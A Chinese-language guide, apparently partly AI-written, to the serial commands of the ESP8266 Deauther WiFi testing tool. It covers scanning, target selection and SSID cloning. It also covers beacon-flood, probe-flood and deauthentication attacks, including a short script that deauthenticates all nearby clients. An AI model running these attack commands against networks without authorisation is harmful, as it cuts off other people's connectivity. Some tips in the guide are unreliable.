ESP8266 Deauther 串口命令完全指南
项目概述
ESP8266 Deauther 是一款基于 ESP8266 芯片的无线网络安全测试工具,它提供了丰富的串口命令接口,允许用户通过简单的命令行操作执行各种无线网络扫描、攻击和配置任务。本文将全面解析这些串口命令的使用方法和应用场景。
基础命令
帮助命令
help
- 显示所有可用命令的列表,是新手入门的第一个命令。
系统信息
sysinfo
- 显示系统信息,包括:
- 内存使用情况
- 当前WiFi信道
- MAC地址
- SPIFFS闪存使用情况
- 文件列表
系统控制
clear
- 清空串口终端显示 reboot
- 重启设备(相当于硬件复位) reset
- 重置所有设置到默认值 format
- 格式化SPIFFS文件系统(删除所有文件)
网络扫描命令
扫描命令
scan [模式] [-t 时间] [-c 连续时间] [-ch 信道]
模式选项:
all
/-a
:扫描所有设备(默认)aps
/-ap
:仅扫描接入点stations
/-st
:仅扫描客户端设备wifi
/-w
:WiFi扫描模式(推荐用于反认证检测)
参数说明:
-t
:扫描持续时间(秒),设为0表示无限扫描-c
:连续扫描间隔时间-ch
:指定扫描信道
专业建议:
- 使用
scan wifi -t 60
进行长时间监控 - 信道扫描时,建议避开拥挤信道(如1,6,11)
显示扫描结果
show [类型]
- 显示扫描结果 show selected [类型]
- 显示已选择的目标
类型选项:
all
/-a
:全部(默认)aps
/-ap
:接入点stations
/-st
:客户端names
/-b
:保存的设备名称ssids
/-ss
:SSID列表
目标管理命令
选择/取消选择
select [类型] [ID]
- 选择目标 deselect [类型] [ID]
- 取消选择
使用技巧:
- 使用
select all
选择所有设备 - 结合
show selected
命令验证选择结果
添加SSID
add ssid <名称> [-wpa2] [-cl 数量] [-f]
高级用法:
- 从扫描的AP添加SSID:
add ssid -ap <ID>
- 批量克隆SSID:
add ssid test -cl 5
创建5个"test"SSID
设备命名
add name <名称> -ap <ID>
- 为AP添加名称 add name <名称> -st <ID>
- 为客户端添加名称 set name <ID> <新名称>
- 修改设备名称
专业建议:
- 使用有意义的名称便于识别目标
- 名称长度限制为16个字符
攻击命令
启动攻击
attack [类型] [-t 超时]
攻击类型:
beacon
/-b
:信标洪水攻击deauth
/-d
:反认证攻击(针对选定目标)deauthall
/-da
:反认证攻击(所有目标)probe
/-p
:探测请求洪水攻击
注意事项:
deauth
和deauthall
不能同时使用- 使用
-t
参数设置攻击持续时间
攻击状态
attack status [on/off]
- 控制攻击状态显示
停止攻击
stop attack
- 停止当前攻击 stop all
- 停止所有活动(扫描和攻击)
高级功能
文件操作
print <文件>
:显示文件内容delete <文件>
:删除文件copy <源文件> <目标文件>
:复制文件rename <旧名称> <新名称>
:重命名文件
专业技巧:
- 使用脚本(
.txt
文件)自动化复杂任务 - 通过
write
命令创建简单脚本
数据包监控
draw [高度] [宽度]
- 显示数据包监控图表
使用前提:
- 需要先运行
scan wifi
命令 - 调整高度和宽度参数优化显示效果
LED控制
led <R> <G> <B>
- 设置LED颜色 led #RRGGBB
- 使用十六进制值设置颜色
应用场景:
- 通过不同颜色表示不同状态
- 红色表示攻击中,蓝色表示扫描中
实用技巧
-
自动化扫描:
scan wifi -t 0 -c 300
每5分钟自动执行一次无限扫描
-
组合攻击:
attack beacon deauth -t 60
同时执行信标洪水和反认证攻击60秒
-
设备识别:
add name Conference_Room -ap 3 -s
为ID为3的AP命名并自动选择
-
脚本示例:
// 自动化攻击脚本 scan aps -t 10 select all attack deauth -t 30
安全与法律提示
使用ESP8266 Deauther时,请务必注意:
- 仅在您拥有权限的网络或自己的设备上测试
- 了解您所在地区的相关法律法规
- 不要用于非法目的
- 测试完成后及时停止攻击
通过掌握这些串口命令,您可以充分发挥ESP8266 Deauther的功能,进行专业的无线网络安全测试和评估。建议从基础命令开始,逐步尝试更复杂的功能组合。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考